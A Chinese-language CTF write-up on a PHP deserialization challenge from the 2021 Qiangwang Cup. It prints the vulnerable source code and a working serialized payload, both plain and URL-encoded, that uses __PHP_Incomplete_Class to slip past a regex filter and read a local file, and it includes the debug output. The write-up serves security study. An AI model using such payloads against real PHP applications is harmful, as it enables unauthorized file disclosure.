序列化与反序列化漏洞实例

实验环境:

本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php   function.php   myclass.php 

index.php :

<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {
    echo "???";
    throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";

function.php :


<?php
function __autoload($classname) {
    // function.php
    require_once "./$classname.php";
}
?>    

myclass.php :

<?php
// myclass.php
//class myclass{}
class Hello {
    public function __destruct() {
        echo "I'm destructed.<br/>";
        var_export($this->qwb);
        if ($this->qwb) {
            echo file_get_contents($this->qwb);
        }
    }
}
?>

实验思路:

        在本次中该实验考察的主题是序列化与反序列化中,当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入,绕过index.php中正则的过滤,最终成功的读取出flag.txt文件中的数据。注意:我们在读取时需要写绝对路径,否则读取不到数据,这里的路径为:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt

开始实验:

        在开始实验前我们需要知道序列化与反序列化中的几个特殊机制:

(1):PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类。

(2):当序列化字符串中包含了一个未定义的类名,且该类没有在当前环境中被定义时,__autoload 函数就会被触发以尝试加载相应的类定义。

在这个题目中,我们需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classnamemyclass的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class的特殊处理进行绕过

在index.php页面中用户可控参数ctfer,ctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字,存在就直接抛异常退出,否则就进行往下。
我们构建特殊的序列化字符串数据,ctfer:

ctfer:

a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}

这是一个序列化字符串,它包含了两个对象。

第一个对象是一个名为 `__PHP_Incomplete_Class` 的类,它有一个属性 `qwb`,该属性的值是另一个名为 `myclass` 的对象。由于 `myclass` 类没有定义,所以它的值是空对象。

第二个对象是一个名为 `Hello` 的类,它有一个属性 `qwb`,该属性的值是一个字符串 `D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt`。

这个序列化字符串可以用于在 PHP 中进行反序列化操作,以恢复原始的对象状态。

注意:由于我们时再浏览器上面进行输入的,所以我们还需要遵循规则,将其转化为urlcode编码后再传递:
ctfer  = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d

之后我们再浏览器上面查看运行结果:我们发现文件被成功的读取出来了,并且绕过了index.php中的正则。

原理:

可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。

对比可以发现,对ctfer进行反序列化再序列化后,myclass消失了,成功的绕过了index.php中的正则:

传入的序列化数据ctfer:
ctfer=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}


//对ctfer进行反序列化
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
结果:  
array (size=2)
  0 => 
    object(__PHP_Incomplete_Class)[1]
      public 'qwb' => 
        object(__PHP_Incomplete_Class)[2]
          public '__PHP_Incomplete_Class_Name' => string 'myclass' (length=7)
  1 => 
    object(Hello)[3]
      public 'qwb' => string 'D:\phpstudy_pro\WWW\dvwa\flag.txt' (length=33)


//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果:
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}' (length=119)

相关推荐

  1. 序列序列

    2024-06-19 02:08:04       28 阅读
  2. shiro序列fastjson序列漏洞原理

    2024-06-19 02:08:04       48 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-19 02:08:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-19 02:08:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-19 02:08:04       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-19 02:08:04       20 阅读

热门阅读

  1. 如何编辑和修改ROM,快速上手

    2024-06-19 02:08:04       7 阅读
  2. 使用 Redis 生成分布式唯一ID

    2024-06-19 02:08:04       6 阅读
  3. 带你学习Mybatis之ResultSetHandler结果集处理

    2024-06-19 02:08:04       6 阅读
  4. Docker 容器相关的常见面试问题及答案

    2024-06-19 02:08:04       6 阅读
  5. CAPL如何在底层模拟TCP Client端建立TCP连接

    2024-06-19 02:08:04       3 阅读
  6. 【Python数据分析】Pandas_聚合函数

    2024-06-19 02:08:04       7 阅读
  7. c++控制结构if陈述

    2024-06-19 02:08:04       6 阅读
  8. 力扣2476.二叉搜索树最近节点查询

    2024-06-19 02:08:04       6 阅读
  9. 热门开源项目推荐

    2024-06-19 02:08:04       5 阅读